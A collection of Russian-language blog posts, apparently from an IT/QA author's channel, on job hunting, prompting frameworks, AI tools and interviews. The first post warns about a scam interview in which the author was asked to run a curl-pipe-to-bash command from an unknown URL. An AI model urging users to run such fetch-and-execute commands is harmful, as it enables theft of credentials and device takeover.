Герман Варгин | PRO IT

Чуть не отдал мошенникам доступ к своему компьютеру прямо на собеседовании

На прошлой неделе я чуть не стал жертвой довольно неприятной схемы.

Началось всё максимально обычно.

HR написал мне в LinkedIn и предложил пообщаться. Роль выглядела так, будто её специально собирали под меня: AI + Blockchain, позиция технического Product Manager.

Было немного лень, но в пятницу вечером я всё-таки согласился на звонок — просто узнать подробности.

На интервью пришёл некий Peter. Слышно его было плохо, и почти сразу он предложил выключить камеры.

Дальше всё шло вполне стандартно: представились, немного поговорили про компанию, проект, мой опыт.

А потом сценарий резко изменился.

Мне предложили расшарить экран и запустить их прототип для небольшого demo.

Сначала попросили открыть Cursor и развернуть проект. Cursor у меня на ноутбуке не оказалось.

Тогда предложили просто выполнить команду в терминале:

curl -L '<strange_url>' | bash

На этом разговор закончился.

Если коротко, эта конструкция делает следующее:
curl скачивает что-то с удалённого сервера
-L разрешает переходы по редиректам
а | bash сразу передаёт скачанный код на выполнение.

Что именно там будет выполнено — вы заранее не знаете.

Это может быть безобидный скрипт. А может быть что угодно: кража токенов, паролей, SSH-ключей, доступ к браузеру, файлам или дальнейшая установка malware.

Мне в этой ситуации, пожалуй, повезло сразу по двум причинам.

Во-первых, я знаю, что означает такая команда.

Во-вторых, я сейчас не замотивирован менять работу, чтобы бездумно выполнять всё, что просят на интервью.

Но если человек долго ищет работу, находится в стрессе и очень хочет получить оффер, сопротивляться таким просьбам становится намного сложнее.

Поэтому простое правило: не запускайте на своём компьютере неизвестные команды, скрипты, приложения или проекты только потому, что вас попросили сделать это на собеседовании.

Будьте осторожны и не стесняйтесь использовать AI-чат, чтобы сначала разобраться, что именно от вас хотят.

Назад мы уже не вернёмся

AI во многом пузырь. Об этом говорят всё чаще.

Но если пузырь лопнет, вернёмся ли мы в 2021 год, когда код писали руками, а на любой вопрос искали нужную статью в Google?

Я в это не верю.

Был пузырь доткомов. Он лопнул, огромное количество компаний исчезло, инвесторы потеряли деньги. Но интернет никуда не делся.

Был пузырь криптовалют. Тысячи монет и токенов превратились в фантики, но крупные игроки остались, а сама технология продолжает использоваться.

С AI, думаю, будет примерно так же.

В какой-то момент в отрасль могут перестать вливать такие бюджеты, как сегодня. Игроков станет меньше. Многие стартапы исчезнут. Часть громких обещаний окажется просто маркетингом.

Но сама технология уже никуда не денется.

Мы не вернёмся к миру, где весь код пишется вручную, поиск начинается с десяти вкладок в Google, а рутинное тестирование полностью делается человеком.

AI уже стал для нас главным инструментом, который никто не отдаст.

Сколько себя помню, летом всегда казалось, что искать работу почти бесполезно.

Многие в отпусках, позиций меньше, процессы тянутся. Кажется, что лучше подождать до осени, а пока подготовиться: обновить резюме, подтянуть навыки или просто отдохнуть.

Хотя я прекрасно помню и обратную сторону.

Когда летом открывалась позиция в моей команде, найти специалиста до осени бывало очень сложно. Просто потому, что очень мало откликов.

И вот сегодня 1 сентября. Очередное лето закончилось.

Интересно, много ли из нас именно сейчас начинает активный поиск работы?

В заключительные выходные лета предлагаю посмотреть наш разговор с Ксенией Гигаури — опытным HR и карьерным консультантом.

Есть ещё одна причина, почему для меня этот выпуск особенный: много лет назад именно Ксения сделала тот самый решающий клик, после которого началась моя карьера тестировщика 🙂

На одном дыхании обсудили, как сегодня устроен найм изнутри:

— как и где HR ищет кандидатов
— что происходит с резюме после отправки
— на что рекрутер смотрит в первую очередь
— почему хорошие кандидаты могут остаться незамеченными
— что можно сделать, чтобы получить заветное приглашение на собеседование

Получился очень практичный разговор без магических советов в духе «просто сделайте идеальное резюме».

Если сейчас ищете работу, думаете о смене компании или просто хотите лучше понимать, что происходит по ту сторону отклика — рекомендую посмотреть.

🎥 Смотреть на YouTube
▶️ Смотреть в VK

Осторожнее с AI в общении с клиентами

Есть хороший кейс Air Canada. Клиент спросил у чат-бота авиакомпании про льготный тариф в связи со смертью родственника.

Бот ответил, что можно купить обычный билет, а потом в течение 90 дней запросить перерасчёт. Проблема была в том, что это оказалось неправдой.

Клиент поверил боту, купил билеты, а когда позже попросил вернуть разницу, авиакомпания отказала.

История дошла до разбирательства в суде, и в итоге Air Canada обязали выплатить клиенту компенсацию с учетом процентов. Суд фактически сказал простую вещь:

если бот находится на вашем сайте и общается с вашими клиентами, то за его ответы отвечаете вы.

Мне кажется, это очень хороший пример того, почему нужно аккуратно отдавать AI прямое общение с клиентами.

Если кто-то пропустил — я опубликовал первое видео про жизнь и работу в Германии 🇩🇪

▶️ Смотреть на YouTube
▶️ Смотреть в VK

В первом видео говорю о своём опыте, работе, переезде и бытовых вещах, с которыми сталкиваешься уже после релокации.

Сегодня выйдет вторая часть.

Уже неделю я в отпуске в Санкт-Петербурге.

В этот раз на удивление часто расплачиваюсь наличными: не все хотят менять евро или переводить деньги онлайн, поэтому пришлось обменять наличные.

И я обратил внимание, что больше половины продавцов не могут посчитать итоговую сумму и выдать сдачу без калькулятора. Причём речь идёт о довольно простых операциях.

Например:

Стоимость услуги — 8400 рублей.
Предоплата — 3000.
Дополнительные услуги — 1950.

Сколько сдачи нужно выдать с 10 000 рублей?

Сложно?

Сегодня записываю видео про жизнь и работу в Германии.

Есть вопросы, на которые вам хотелось бы получить ответ?

Пишите их в комментариях — постараюсь разобрать самые интересные в видео.

Как не печатать CO-STAR каждый раз

Многие не используют фреймворки вроде CO-STAR по очень простой причине: лень каждый раз заново писать Context, Objective, Style, Tone, Audience и Response.

И я их прекрасно понимаю. Поэтому напомню про простой лайфхак — автозамену текста. Я уже рассказывал о нем в этом посте.

На Mac нужно зайти: System Settings → Keyboard → Text Replacements

Дальше создаёте короткое ключевое слово, например: costar

И добавляете для него готовый шаблон:

Context:
Objective:
Style:
Tone:
Audience:
Response:

Теперь достаточно написать costar, и система автоматически подставит весь шаблон.

Можно сделать несколько таких заготовок для разных задач. Пара минут на настройку — и ваши промпты становятся быстрее и эффективнее.

Как писать хорошие промпты: фреймворк CO-STAR

Хороший промпт — это не обязательно длинная инструкция. Достаточно просто дать AI понятную структуру. Один из самых известных фреймворков для этого — CO-STAR.

Он состоит из шести частей:

1️⃣ C — Context: Контекст задачи. Что происходит и почему вам нужен результат.

2️⃣ O — Objective: Конкретная цель. Что именно должен сделать AI.

3️⃣ S — Style: Стиль ответа: деловой, технический, разговорный, как пост для Telegram или документация.

4️⃣ T — Tone: Тон общения: дружелюбный, серьёзный, экспертный, ироничный.

5️⃣ A — Audience: Для кого создаётся результат: разработчики, менеджеры, клиенты, новички.

6️⃣ R — Response: В каком формате должен прийти ответ: список, таблица, письмо, пост или пошаговая инструкция.

Например, вместо:

Составь мне план изучения Python.

Можно написать:

Context: я начинающий QA-инженер, знаю основы программирования, но почти не работал с Python. Могу заниматься пять часов в неделю.
Objective: составь план изучения Python для перехода к автоматизации тестирования.
Style: практический план без длинной теории, с упором на упражнения и небольшие проекты.
Tone: дружелюбный и мотивирующий, но без лишних обещаний.
Audience: взрослый человек с техническим опытом, который изучает Python после работы.
Response: план на восемь недель. Для каждой недели укажи темы, практические задания, ожидаемый результат и способ проверить знания.

Так сразу становится понятно не только что изучать, но и зачем, за какое время, с какой стартовой точки и каким должен быть результат.

Открываю утром почту, а там письмо с темой:

«Добрый день, Герман, я люблю вас»

Думаю: замечательно, что-то интересное от подписчиков.

Читаю письмо — и полное разочарование.

Какой-то мужик предлагает услуги по продвижению моих курсов и каналов.

Ни признания, ни романтики. Обычное холодное предложение, ещё и от мужика.

Провал воронки уже на первом касании 😄

Месяц эксперимента с SSI в LinkedIn. Промежуточные результаты

Прошёл месяц с начала моего эксперимента с SSI в LinkedIn. Рейтинг вырос до 54. Пока не получилось попасть в категорию «Сильный профиль», но хорошие новости тоже есть.

Как только я перешёл границу в 50–51 балл, мне действительно начали писать рекрутеры и предлагать сотрудничество.

За месяц я получил шесть таких сообщений, без каких-либо предварительных откликов. С двумя рекрутерами успел пообщаться. Это не просто массовая рассылка — есть реальные проекты и компании, которые сейчас нанимают.

Появились и другие, более неожиданные результаты.

1️⃣ Я стал лучше понимать рынок

Когда вместо развлекательных сторис и новостей начинаешь регулярно читать LinkedIn, намного лучше видишь:

— кто сейчас ищет работу
— кто и куда устраивается
— кого ищут компании
— чем твой профиль отличается от других

Появилось ощущение, что я снова в рынке и теперь лучше понимаю, что происходит вокруг.

2️⃣ Я капитально переписал свой профиль

Сделал совершенно новое резюме, оформил портфолио, собрал отзывы и переработал описание опыта.
Пока ещё не идеально, но профиль уже выглядит намного интереснее и профессиональнее.

3️⃣ Я расширил круг общения

Написал несколько постов на английском языке и заметно расширил сеть контактов. Причём не только географически. В поле зрения появилось больше интересных людей, проектов и компаний.

4️⃣ И, пожалуй, самое приятное — несколько человек написали мне, что после моего поста тоже решили присоединиться к эксперименту. Они делают свои шаги, развивают профили и постепенно поднимают SSI.

Это очень круто, потому что вместе проходить такой эксперимент намного интереснее. Можно сравнивать результаты, делиться наблюдениями и подсказывать друг другу, что действительно работает.

Получается уже не совсем личный эксперимент, а небольшой совместный челлендж.

Всем удачи и хороших выходных!

Ещё одна интеграция — AI + заметки

Обязательная привычка — записывать важное.

Не только список дел, но и заметки после разговоров. Если обсуждали сложный вопрос — полезно сразу зафиксировать, к чему пришли и о чём договорились.

Если есть последовательность действий, которую вы точно ещё будете повторять, и она не самая простая — лучше сразу оформить runbook.

А если речь про security или любые стрессовые ситуации, то инструкция с чёткими шагами обязательна.
В такие моменты лучше не полагаться на память, а действовать по заранее подготовленному плану.

Раньше я вёл такие вещи в OneNote. Потом переехал на Mac и сейчас использую Notes. Просто, быстро и понятно.

Очень хочу ещё поэкспериментировать с Obsidian.

Но пока у меня связка Codex + Notes. Кстати, один из первых запросов был как раз про то, чтобы навести порядок в заметках и помочь их нормально структурировать.

Самый недооценённый AI-навык сегодня — верификация

В разработке и тестировании AI — это не senior-инженер.

Скорее очень быстрый junior: полезный, часто неожиданно сильный, но его работу нельзя отправлять в production или использовать для критичных решений без проверки.

Базовый чек-лист для верификации AI-результата:

1️⃣ Сверьте результат с исходными требованиями

Проверьте:
— входные данные
— ожидаемый результат
— ограничения
— граничные случаи
— нефункциональные требования

Результат действительно решает задачу или просто звучит убедительно?

2️⃣ Используйте дополнительный контроль

Генерация и проверка должны быть двумя разными этапами.

Не стоит позволять одной и той же модели быть одновременно автором и ревьюером. Лучше подключить другую модель или человека, который попробует найти ошибки и оспорить результат.

Примерно так же, как мы не рассчитываем, что разработчик полностью и объективно протестирует собственный код.

3️⃣ Проверяйте больше чем на одном примере

Никогда не доверяйте одному успешному сценарию.

Используйте классические техники тест-дизайна и не забывайте про:

— типичные сценарии
— негативные проверки
— случайные входные данные
— неожиданные действия пользователя

Относитесь к AI как к сильному и очень быстрому junior-инженеру в команде.

Продолжаем собирать виртуального помощника. Знакомим AI с нашим списком дел.

В современном мире у нас десятки, если не сотни параллельных задач.

Семья, работа, обучение, особенности релокации — постоянно всплывает что-то, что нужно запланировать, запомнить, записать и сделать.

Я не знаю, как всё это уместить в голове. Поэтому для себя вижу только один рабочий вариант — записывать.

Можно по-старому в блокноте. Можно в Notion, Trello или любом другом таск-трекере.
А можно пойти на шаг дальше и подключить AI.

Тогда он сможет:
— записывать задачи
— раскладывать их по приоритетам
— помогать собирать план на день
— напоминать, что накопилось на неделю

Я, например, подключил Codex к Notion, создал там простую доску с несколькими колонками и стараюсь закидывать задачи туда.

Это, конечно, не вау-магия, но уже ощутимая разгрузка головы.

Что такое AI harness

В последнее время всё чаще встречаю понятие Harness, а в канале про него ещё не писал.

Если совсем просто, harness — это система вокруг AI-модели, которая превращает её в работающего агента.

Сама модель умеет генерировать ответы.
А harness решает всё остальное:

— передаёт модели инструкции и контекст
— подключает инструменты
— запускает нужные действия
— хранит состояние
— управляет циклом работы агента
— возвращает результат пользователю

Например, модель может решить, что ей нужно открыть файл, выполнить команду или сходить в API. Именно harness помогает это сделать и затем передаёт результат обратно модели.

Поэтому два продукта на одной и той же модели могут работать совершенно по-разному.

Модель — это мозг.
Harness — всё, что позволяет этому мозгу видеть, помнить и действовать.

Одна из самых простых и полезных AI-интеграций — календарь.

Подключаете AI к Google Calendar или любому другому календарю и дальше можете за пару секунд:

— добавить встречу
— записаться к врачу
— создать слот для интервью
— поставить напоминание
— занести отпуск или личные планы

Я, например, использую ChatGPT с Google Calendar и могу добавлять события голосом.
Но то же самое можно сделать и с Claude, Gemini или любым другим инструментом, которым вы пользуетесь. Сейчас уже никакой код писать не нужно, все делается в несколько кликов через расширения.

Мелочь? Да.

Но именно из таких мелочей и складывается ощущение, что AI начинает помогать в жизни, а не просто красиво отвечает в чате.

Уже не в первый раз ловлю, что мои решения на LeetCode показывают 100% по скорости.

У меня всего один вопрос: что у них там изменилось в подсчёте? 😄

Потому что слабо верится, что мой вариант быстрее тысяч других решений, которые были загружены до меня.

Но выглядит, конечно, приятно. У кого-то такое было?

Я стараюсь не делать обзоры новых моделей, потому что сам не успеваю за всеми следить.

Но в последнее время меня тревожит одна мысль:
идея “делиться технологиями со всеми” может перестать быть актуальной.

Anthropic заявила о сверхмощи Mythos 5, но оставила модель в закрытом режиме. И, возможно, я бы не обратил на это столько внимания, если бы это было просто know-how самой Anthropic. Или если бы у каждой крупной компании и правительства была своя сопоставимая модель.

Но здесь ситуация другая.

Они открыли доступ не всем, а только избранным компаниям — таким как Apple, Amazon, Cisco, JPMorgan.

И это уже выглядит совсем иначе, чем привычный сценарий: вышел ChatGPT, Gemini — и пользуйтесь все, кто хочет.

Как думаете, это временная история или лучшие AI-модели и дальше будут доступны только избранным?

Недавно проходил интервью в Германии на роль Test Architect.

И получил старый-добрый вопрос: «Как бы вы тестировали треугольник?»

Первый раз похожую задачу я решал 16 лет назад, когда проходил отбор в школу тестирования. Видимо, некоторые вопросы на собеседованиях бессмертны.

Я понимаю, что этим вопросом пытаются проверить. Я даже сам разбирал похожие задачи на YouTube-канале, потому что для изучения основ тест-дизайна они действительно полезны.

Но забавно все еще слышать такие вопросы на Senior QA / Test Architect ролях.

А вы говорите AI ...